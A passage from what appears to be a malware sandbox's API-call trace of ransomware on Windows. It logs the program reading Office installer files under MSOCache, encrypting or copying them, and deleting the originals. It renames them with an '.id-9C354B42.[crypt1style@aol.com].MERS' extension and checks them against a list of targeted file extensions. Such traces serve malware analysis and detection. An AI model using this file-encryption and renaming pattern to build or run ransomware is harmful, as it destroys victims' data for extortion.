users\\{90140000-001b-0409-1000-0000000ff1ce}-c\\wordmui.msi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x17c [0037.652] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x2a8ff1c | out: lpFileSize=0x2a8ff1c*=2522624) returned 1 [0037.652] CloseHandle (hObject=0x17c) returned 1 [0037.652] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-001b-0409-1000-0000000ff1ce}-c\\wordmui.msi")) returned 0x2020 [0037.652] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.msi.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\msocache\\all users\\{90140000-001b-0409-1000-0000000ff1ce}-c\\wordmui.msi.id-9c354b42.[crypt1style@aol.com].mers")) returned 0xffffffff [0037.652] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-001b-0409-1000-0000000ff1ce}-c\\wordmui.msi"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.msi.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\msocache\\all users\\{90140000-001b-0409-1000-0000000ff1ce}-c\\wordmui.msi.id-9c354b42.[crypt1style@aol.com].mers")) returned 1 [0037.653] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.msi.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\msocache\\all users\\{90140000-001b-0409-1000-0000000ff1ce}-c\\wordmui.msi.id-9c354b42.[crypt1style@aol.com].mers"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x17c [0037.653] SetFilePointerEx (in: hFile=0x17c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a8fc6c | out: lpNewFilePointer=0x0) returned 1 [0037.653] SetFilePointerEx (in: hFile=0x17c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a8fc2c | out: lpNewFilePointer=0x0) returned 1 [0037.653] ReadFile (in: hFile=0x17c, lpBuffer=0x3510058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2a8fc38, lpOverlapped=0x0 | out: lpBuffer=0x3510058*, lpNumberOfBytesRead=0x2a8fc38*=0x40000, lpOverlapped=0x0) returned 1 [0039.365] SetFilePointerEx (in: hFile=0x17c, liDistanceToMove=0xcd4aa, lpNewFilePointer=0x0, dwMoveMethod=0x2a8fc2c | out: lpNewFilePointer=0x0) returned 1 [0039.365] ReadFile (in: hFile=0x17c, lpBuffer=0x3550058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2a8fc38, lpOverlapped=0x0 | out: lpBuffer=0x3550058*, lpNumberOfBytesRead=0x2a8fc38*=0x40000, lpOverlapped=0x0) returned 1 [0039.566] SetFilePointerEx (in: hFile=0x17c, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x2a8fc6c | out: lpNewFilePointer=0xffffffff) returned 1 [0039.566] SetFilePointerEx (in: hFile=0x17c, liDistanceToMove=0x227e00, lpNewFilePointer=0x0, dwMoveMethod=0x2a8fc2c | out: lpNewFilePointer=0x0) returned 1 [0039.566] ReadFile (in: hFile=0x17c, lpBuffer=0x3590058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2a8fc38, lpOverlapped=0x0 | out: lpBuffer=0x3590058*, lpNumberOfBytesRead=0x2a8fc38*=0x40000, lpOverlapped=0x0) returned 1 [0039.672] SetFilePointerEx (in: hFile=0x17c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a8fec8 | out: lpNewFilePointer=0x0) returned 1 [0039.672] WriteFile (in: hFile=0x17c, lpBuffer=0x3510020*, nNumberOfBytesToWrite=0xc0102, lpNumberOfBytesWritten=0x2a8fcb0, lpOverlapped=0x0 | out: lpBuffer=0x3510020*, lpNumberOfBytesWritten=0x2a8fcb0*=0xc0102, lpOverlapped=0x0) returned 1 [0039.797] SetEndOfFile (hFile=0x17c) returned 1 [0039.797] RtlAllocateHeap (HeapHandle=0x5f0000, Flags=0x0, Size=0x40000) returned 0x3fd7e38 [0039.800] SetFilePointerEx (in: hFile=0x17c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a8fc7c | out: lpNewFilePointer=0x0) returned 1 [0039.801] WriteFile (in: hFile=0x17c, lpBuffer=0x3fd7e38*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2a8fc88, lpOverlapped=0x0 | out: lpBuffer=0x3fd7e38*, lpNumberOfBytesWritten=0x2a8fc88*=0x40000, lpOverlapped=0x0) returned 1 [0039.802] SetFilePointerEx (in: hFile=0x17c, liDistanceToMove=0xcd4aa, lpNewFilePointer=0x0, dwMoveMethod=0x2a8fc7c | out: lpNewFilePointer=0x0) returned 1 [0039.802] WriteFile (in: hFile=0x17c, lpBuffer=0x3fd7e38*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2a8fc88, lpOverlapped=0x0 | out: lpBuffer=0x3fd7e38*, lpNumberOfBytesWritten=0x2a8fc88*=0x40000, lpOverlapped=0x0) returned 1 [0039.812] SetFilePointerEx (in: hFile=0x17c, liDistanceToMove=0x227e00, lpNewFilePointer=0x0, dwMoveMethod=0x2a8fc7c | out: lpNewFilePointer=0x0) returned 1 [0039.812] WriteFile (in: hFile=0x17c, lpBuffer=0x3fd7e38*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2a8fc88, lpOverlapped=0x0 | out: lpBuffer=0x3fd7e38*, lpNumberOfBytesWritten=0x2a8fc88*=0x40000, lpOverlapped=0x0) returned 1 [0039.820] HeapFree (in: hHeap=0x5f0000, dwFlags=0x0, lpMem=0x3fd7e38 | out: hHeap=0x5f0000) returned 1 [0039.820] CloseHandle (hObject=0x17c) returned 1 [0040.180] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.msi.id-9C354B42.[crypt1style@aol.com].MERS", dwFileAttributes=0x2020) returned 1 [0040.180] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.msi") returned 74 [0040.181] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.msi") returned 74 [0040.181] lstrlenW (lpString=".doc") returned 4 [0040.181] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1 [0040.181] lstrlenW (lpString=".docx") returned 5 [0040.181] lstrcmpiW (lpString1=".docx", lpString2="I.msi") returned -1 [0040.181] lstrlenW (lpString=".pdf") returned 4 [0040.181] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1 [0040.181] lstrlenW (lpString=".xls") returned 4 [0040.181] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1 [0040.181] lstrlenW (lpString=".xlsx") returned 5 [0040.181] lstrcmpiW (lpString1=".xlsx", lpString2="I.msi") returned -1 [0040.181] lstrlenW (lpString=".ppt") returned 4 [0040.181] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1 [0040.181] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.msi") returned 74 [0040.181] lstrlenW (lpString=".zip") returned 4 [0040.181] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1 [0040.181] lstrlenW (lpString=".rar") returned 4 [0040.181] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1 [0040.181] lstrlenW (lpString=".bz2") returned 4 [0040.181] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1 [0040.181] lstrlenW (lpString=".7z") returned 3 [0040.181] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1 [0040.181] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.msi") returned 74 [0040.181] lstrlenW (lpString=".dbf") returned 4 [0040.181] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1 [0040.181] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.msi") returned 74 [0040.181] lstrlenW (lpString=".1cd") returned 4 [0040.181] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1 [0040.181] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.msi") returned 74 [0040.182] lstrlenW (lpString=".jpg") returned 4 [0040.182] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1 [0040.182] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.msi") returned 74 [0040.182] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.msi") returned 74 [0040.182] lstrlenW (lpString=".doc") returned 4 [0040.182] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1 [0040.182] lstrlenW (lpString=".docx") returned 5 [0040.182] lstrcmpiW (lpString1=".docx", lpString2="I.msi") returned -1 [0040.182] lstrlenW (lpString=".pdf") returned 4 [0040.182] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1 [0040.182] lstrlenW (lpString=".xls") returned 4 [0040.182] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1 [0040.182] lstrlenW (lpString=".xlsx") returned 5 [0040.182] lstrcmpiW (lpString1=".xlsx", lpString2="I.msi") returned -1 [0040.182] lstrlenW (lpString=".ppt") returned 4 [0040.182] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1 [0040.182] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.msi") returned 74 [0040.182] lstrlenW (lpString=".zip") returned 4 [0040.182] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1 [0040.182] lstrlenW (lpString=".rar") returned 4 [0040.182] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1 [0040.182] lstrlenW (lpString=".bz2") returned 4 [0040.182] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1 [0040.182] lstrlenW (lpString=".7z") returned 3 [0040.182] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1 [0040.182] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.msi") returned 74 [0040.182] lstrlenW (lpString=".dbf") returned 4 [0040.183] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1 [0040.183] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.msi") returned 74 [0040.183] lstrlenW (lpString=".1cd") returned 4 [0040.183] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1 [0040.183] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.msi") returned 74 [0040.183] lstrlenW (lpString=".jpg") returned 4 [0040.183] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1 [0040.183] lstrcmpiW (lpString1=".msi", lpString2=".MERS") returned 1 [0040.183] lstrlenW (lpString="Proof.msi") returned 9 [0040.183] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.msi" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.en\\proof.msi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x17c [0040.183] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x2a8ff1c | out: lpFileSize=0x2a8ff1c*=875520) returned 1 [0040.183] CloseHandle (hObject=0x17c) returned 1 [0040.183] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.msi" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.en\\proof.msi")) returned 0x2020 [0040.184] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.msi.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.en\\proof.msi.id-9c354b42.[crypt1style@aol.com].mers")) returned 0xffffffff [0040.184] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.msi" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.en\\proof.msi"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x17c [0040.184] SetFilePointerEx (in: hFile=0x17c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a8fec8 | out: lpNewFilePointer=0x0) returned 1 [0040.184] SetFilePointerEx (in: hFile=0x17c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a8fec8 | out: lpNewFilePointer=0x0) returned 1 [0040.184] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.msi.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.en\\proof.msi.id-9c354b42.[crypt1style@aol.com].mers"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1c4 [0040.184] GetLastError () returned 0x0 [0040.184] ReadFile (in: hFile=0x17c, lpBuffer=0x3510020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2a8fed4, lpOverlapped=0x0 | out: lpBuffer=0x3510020*, lpNumberOfBytesRead=0x2a8fed4*=0xd5c00, lpOverlapped=0x0) returned 1 [0040.239] WriteFile (in: hFile=0x1c4, lpBuffer=0x3510020*, nNumberOfBytesToWrite=0xd5c10, lpNumberOfBytesWritten=0x2a8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3510020*, lpNumberOfBytesWritten=0x2a8fc9c*=0xd5c10, lpOverlapped=0x0) returned 1 [0040.255] ReadFile (in: hFile=0x17c, lpBuffer=0x3510020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2a8fed4, lpOverlapped=0x0 | out: lpBuffer=0x3510020*, lpNumberOfBytesRead=0x2a8fed4*=0x0, lpOverlapped=0x0) returned 1 [0040.255] WriteFile (in: hFile=0x1c4, lpBuffer=0x3510020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x2a8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3510020*, lpNumberOfBytesWritten=0x2a8fc9c*=0xe6, lpOverlapped=0x0) returned 1 [0040.256] SetEndOfFile (hFile=0x1c4) returned 1 [0040.256] CloseHandle (hObject=0x1c4) returned 1 [0040.262] SetFilePointerEx (in: hFile=0x17c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a8fec8 | out: lpNewFilePointer=0x0) returned 1 [0040.262] SetEndOfFile (hFile=0x17c) returned 1 [0040.467] CloseHandle (hObject=0x17c) returned 1 [0040.468] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.msi.id-9C354B42.[crypt1style@aol.com].MERS", dwFileAttributes=0x2020) returned 1 [0040.468] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.msi" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.en\\proof.msi")) returned 1 [0040.468] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.msi") returned 81 [0040.468] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.msi") returned 81 [0040.468] lstrlenW (lpString=".doc") returned 4 [0040.468] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1 [0040.468] lstrlenW (lpString=".docx") returned 5 [0040.468] lstrcmpiW (lpString1=".docx", lpString2="f.msi") returned -1 [0040.468] lstrlenW (lpString=".pdf") returned 4 [0040.468] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1 [0040.468] lstrlenW (lpString=".xls") returned 4 [0040.468] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1 [0040.468] lstrlenW (lpString=".xlsx") returned 5 [0040.468] lstrcmpiW (lpString1=".xlsx", lpString2="f.msi") returned -1 [0040.469] lstrlenW (lpString=".ppt") returned 4 [0040.469] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1 [0040.469] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.msi") returned 81 [0040.469] lstrlenW (lpString=".zip") returned 4 [0040.469] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1 [0040.469] lstrlenW (lpString=".rar") returned 4 [0040.469] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1 [0040.469] lstrlenW (lpString=".bz2") returned 4 [0040.469] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1 [0040.469] lstrlenW (lpString=".7z") returned 3 [0040.469] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1 [0040.469] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.msi") returned 81 [0040.469] lstrlenW (lpString=".dbf") returned 4 [0040.469] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1 [0040.469] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.msi") returned 81 [0040.469] lstrlenW (lpString=".1cd") returned 4 [0040.469] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1 [0040.469] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.msi") returned 81 [0040.469] lstrlenW (lpString=".jpg") returned 4 [0040.469] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1 [0040.469] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.msi") returned 81 [0040.470] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.msi") returned 81 [0040.470] lstrlenW (lpString=".doc") returned 4 [0040.470] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1 [0040.470] lstrlenW (lpString=".docx") returned 5 [0040.470] lstrcmpiW (lpString1=".docx", lpString2="f.msi") returned -1 [0040.470] lstrlenW (lpString=".pdf") returned 4 [0040.470] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1 [0040.470] lstrlenW (lpString=".xls") returned 4 [0040.470] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1 [0040.470] lstrlenW (lpString=".xlsx") returned 5 [0040.470] lstrcmpiW (lpString1=".xlsx", lpString2="f.msi") returned -1 [0040.470] lstrlenW (lpString=".ppt") returned 4 [0040.470] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1 [0040.470] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.msi") returned 81 [0040.470] lstrlenW (lpString=".zip") returned 4 [0040.470] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1 [0040.470] lstrlenW (lpString=".rar") returned 4 [0040.470] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1 [0040.470] lstrlenW (lpString=".bz2") returned 4 [0040.470] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1 [0040.470] lstrlenW (lpString=".7z") returned 3 [0040.470] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1 [0040.470] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.msi") returned 81 [0040.470] lstrlenW (lpString=".dbf") returned 4 [0040.470] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1 [0040.470] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.msi") returned 81 [0040.470] lstrlenW (lpString=".1cd") returned 4 [0040.470] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1 [0040.470] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.msi") returned 81 [0040.470] lstrlenW (lpString=".jpg") returned 4 [0040.470] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1 [0040.470] lstrcmpiW (lpString1=".msi", lpString2=".MERS") returned 1 [0040.470] lstrlenW (lpString="Proof.msi") returned 9 [0040.471] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.msi" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.es\\proof.msi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x200 [0040.565] GetFileSizeEx (in: hFile=0x200, lpFileSize=0x2a8ff1c | out: lpFileSize=0x2a8ff1c*=881152) returned 1 [0040.565] CloseHandle (hObject=0x200) returned 1 [0040.565] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.msi" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.es\\proof.msi")) returned 0x2020 [0040.565] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.msi.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.es\\proof.msi.id-9c354b42.[crypt1style@aol.com].mers")) returned 0xffffffff [0040.565] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.msi" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.es\\proof.msi"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x200 [0040.565] SetFilePointerEx (in: hFile=0x200, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a8fec8 | out: lpNewFilePointer=0x0) returned 1 [0040.565] SetFilePointerEx (in: hFile=0x200, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a8fec8 | out: lpNewFilePointer=0x0) returned 1 [0040.565] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.msi.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.es\\proof.msi.id-9c354b42.[crypt1style@aol.com].mers"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x208 [0040.575] GetLastError () returned 0x0 [0040.575] ReadFile (in: hFile=0x200, lpBuffer=0x3510020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2a8fed4, lpOverlapped=0x0 | out: lpBuffer=0x3510020*, lpNumberOfBytesRead=0x2a8fed4*=0xd7200, lpOverlapped=0x0) returned 1 [0040.687] WriteFile (in: hFile=0x208, lpBuffer=0x3510020*, nNumberOfBytesToWrite=0xd7210, lpNumberOfBytesWritten=0x2a8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3510020*, lpNumberOfBytesWritten=0x2a8fc9c*=0xd7210, lpOverlapped=0x0) returned 1 [0040.712] ReadFile (in: hFile=0x200, lpBuffer=0x3510020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2a8fed4, lpOverlapped=0x0 | out: lpBuffer=0x3510020*, lpNumberOfBytesRead=0x2a8fed4*=0x0, lpOverlapped=0x0) returned 1 [0040.712] WriteFile (in: hFile=0x208, lpBuffer=0x3510020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x2a8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3510020*, lpNumberOfBytesWritten=0x2a8fc9c*=0xe6, lpOverlapped=0x0) returned 1 [0040.712] SetEndOfFile (hFile=0x208) returned 1 [0040.712] CloseHandle (hObject=0x208) returned 1 [0040.729] SetFilePointerEx (in: hFile=0x200, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a8fec8 | out: lpNewFilePointer=0x0) returned 1 [0040.729] SetEndOfFile (hFile=0x200) returned 1 [0040.736] CloseHandle (hObject=0x200) returned 1 [0040.736] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.msi.id-9C354B42.[crypt1style@aol.com].MERS", dwFileAttributes=0x2020) returned 1 [0040.737] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.msi" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.es\\proof.msi")) returned 1 [0040.737] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.msi") returned 81 [0040.737] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.msi") returned 81 [0040.737] lstrlenW (lpString=".doc") returned 4 [0040.737] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1 [0040.737] lstrlenW (lpString=".docx") returned 5 [0040.737] lstrcmpiW (lpString1=".docx", lpString2="f.msi") returned -1 [0040.737] lstrlenW (lpString=".pdf") returned 4 [0040.737] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1 [0040.737] lstrlenW (lpString=".xls") returned 4 [0040.737] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1 [0040.737] lstrlenW (lpString=".xlsx") returned 5 [0040.737] lstrcmpiW (lpString1=".xlsx", lpString2="f.msi") returned -1 [0040.737] lstrlenW (lpString=".ppt") returned 4 [0040.737] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1 [0040.737] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.msi") returned 81 [0040.737] lstrlenW (lpString=".zip") returned 4 [0040.737] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1 [0040.737] lstrlenW (lpString=".rar") returned 4 [0040.737] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1 [0040.737] lstrlenW (lpString=".bz2") returned 4 [0040.737] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1 [0040.737] lstrlenW (lpString=".7z") returned 3 [0040.737] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1 [0040.737] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.msi") returned 81 [0040.738] lstrlenW (lpString=".dbf") returned 4 [0040.738] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1 [0040.738] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.msi") returned 81 [0040.738] lstrlenW (lpString=".1cd") returned 4 [0040.738] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1 [0040.738] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.msi") returned 81 [0040.738] lstrlenW (lpString=".jpg") returned 4 [0040.738] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1 [0040.738] lstrlenW 